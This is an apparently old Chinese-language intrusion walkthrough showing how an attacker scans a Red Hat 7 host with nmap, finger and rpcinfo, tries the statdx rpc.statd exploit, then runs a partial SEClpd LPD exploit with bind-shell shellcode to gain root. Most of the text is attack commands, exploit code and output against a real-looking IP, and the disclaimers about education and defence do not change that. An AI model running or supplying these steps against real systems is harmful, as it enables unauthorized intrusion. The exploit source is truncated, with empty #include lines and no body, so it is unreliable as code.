此文的目的不在于教人入侵，而是为了提高自身的技术和加强网络管理员的安全防范意识。仅此而已!粗心大意的网络管理员应该明白：由于你们一个小小的操作失误可能会导致整个网络全面沦陷!本文主要是围绕LPD：网络打印服务的攻击而进行的。
首先确定目标，假设是：www.XXX.com
先让俺看看是不是连得上：
- 以下是引用片段：
- C:\ping www.XXX.com
- Pinging www.XXX.com[202.106.184.200] with 32 bytes of data:
- Reply from 202.106.184.200: bytes=32 time=541ms TTL=244
- Reply from 202.106.184.200: bytes=32 time=620ms TTL=244
- Reply from 202.106.184.200: bytes=32 time=651ms TTL=244
- Reply from 202.106.184.200: bytes=32 time=511ms TTL=244
- Ping statistics for 202.106.184.200:
- Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
- Approximate round trip times in milli-seconds:
- Minimum = 511ms, Maximum = 651ms, Average = 580ms
- 嘻嘻—不但连得上，速度还不错……
- 先telnet看看banner：
- C:\>telnet www.XXX.com
遗失对主机的连接。
再试试ftp，
- 以下是引用片段：
- C:\>ftp www.XXX.com
- Connected to www.fbi.gov.tw.
- 220 XXX-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.
- User (www.XXX.com:(none)):
- 以下是引用片段：
- C:\>telnet xxx.xxx.xxx.xxx
- Red Hat Linux release 7.0 (Guinness)
- Kernel 2.2.16-22smp on an i686
- login: fetdog
- Password:
- bash-2.04$
拿nmap扫描器，看看其中的奥妙~~~
- 以下是引用片段：
- bash-2.04$nmap -sT -O www.XXX.com
- Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )
- WARNING! The following files exist and are readable: /usr/local/sha
- -services and ./nmap-services. I am choosing /usr/local/share/nmap/
- s for security reasons. set NMAPDIR=. to give priority to files in
- irectory
- Interesting ports on (www.XXX.com):
- (The 1520 ports scanned but not shown below are in state: closed)
- Port State Service
- 25/tcp open smtp
- 79/tcp open finger
- 80/tcp open http
- 111/tcp open sunrpc
- 113/tcp open auth
- 443/tcp open https
- 513/tcp open login
- 514/tcp open shell
- 515/tcp open printer
- 587/tcp open submission
- 1024/tcp open kdm
- TCP Sequence Prediction: Class=random positive increments
- Difficulty=3247917 (Good luck!)
- Remote operating system guess: Linux 2.1.122 - 2.2.16
- Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds
打开的端口还挺多，这意味着入侵的可能性增加。79/tcp open finger ，先看看这个，不过linux没有finger用户列表这个漏洞。
#p#
- 以下是引用片段：
- bash-2.04$finger @www.XXX.com
- [www.XXX.com]
- No one logged on.
再看看111/tcp open sunrpc 。近来rpc漏洞风行，不知道RH7这个东东会不会有?先看看再说!
- 以下是引用片段：
- bash-2.04$rpcinfo -p www.XXX.com
- program vers proto port service
- 100000 2 tcp 111 rpcbind
- 100000 2 udp 111 rpcbind
- 100021 1 udp 1024 nlockmgr
- 100021 3 udp 1024 nlockmgr
- 100024 1 udp 1025 status
- 100024 1 tcp 1024 status
看来有rpc.statd服务。来看看能不能远程溢出拿个rootshell。
- 以下是引用片段：
- bash-2.04$./statdx -h
- statdx by ron1n
- Usage: stat [-t] [-p port] [-a addr] [-l len]
- [-o offset] [-w num] [-s secs] [-d type]
- -t attack a tcp dispatcher [udp]
- -p rpc.statd serves requests on [query]
- -a the stack address of the buffer is
- -l the length of the buffer is [1024]
- -o the offset to return to is [600]
- -w the number of dwords to wipe is [9]
- -s set timeout in seconds to [5]
- -d use a hardcoded
- Available types:
- 0 Redhat 6.2 (nfs-utils-0.1.6-2)
- 1 Redhat 6.1 (knfsd-1.4.7-7)
- 2 Redhat 6.0 (knfsd-1.2.2-4)
- 看来并不支持RH7。还是继续尝试，把0-2全部试试看再说!start……
- bash-2.04$stat -d 0 www.XXX.com
- buffer: 0xbffff314 length: 999 (+str/+nul)
- target: 0xbffff718 new: 0xbffff56c (offset: 600)
- wiping 9 dwords
- Failed - statd returned res_stat: (failure) state: 21
- 受挫，再试……
- bash-2.04$stat -d 1 www.XXX.com
- buffer: 0xbffff314 length: 999 (+str/+nul)
- target: 0xbffff718 new: 0xbffff56c (offset: 600)
- wiping 9 dwords
- Failed - statd returned res_stat: (failure) state: 21
一样``继续
#p#
- 以下是引用片段：
- bash-2.04$stat -d 1 www.XXX.com
- buffer: 0xbffff314 length: 999 (+str/+nul)
- target: 0xbffff718 new: 0xbffff56c (offset: 600)
- wiping 9 dwords
- Failed - statd returned res_stat: (failure) state: 21
rpc.statd行不通，想想RH7应该有个远程溢出，好像是lp服务造成的。“seclpd.c”应该是这个东东了。
—————以下代码仅供教学使用，决不能用来进行恶意攻击—————
- 以下是引用片段：
- /*
- * Welcome to http://hlc.cnroot.com/
- * Run: ./SEClpd victim brute -t type
- * Try first ./SEClpd victim -t 0 then try the brute.
- */
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #define ADDRESS_BUFFER_SIZE 32+4
- #define APPEND_BUFFER_SIZE 52
- #define FORMAT_LENGTH 512-8
- #define NOPCOUNT 200
- #define SHELLCODE_COUNT 1030
- #define DELAY 50000 /* usecs */
- #define OFFSET_LIMIT 5000
- char shellcode[] =
- "\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
- "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
- "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
- "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
- "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
- "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
- "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
- "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
- "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
brute暴力破解。等上5-8分钟左右，结果出来了。
- 以下是引用片段：
- - [+] shell located on www.XXX.com
- - [+] Enter Commands at will
- Linux XXX.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown
- uid=0(root) gid=7(lp)
uid=0(root权限)，现在可以近一步入侵!但不要做坏事!
看了上文我们知道黑客主要是围绕LPD：网络打印服务的攻击而进行的。再提醒一句本文目的不在于教你如何入侵linux，而是希望以后大家加强安全，有一定的网络安全防范意识。
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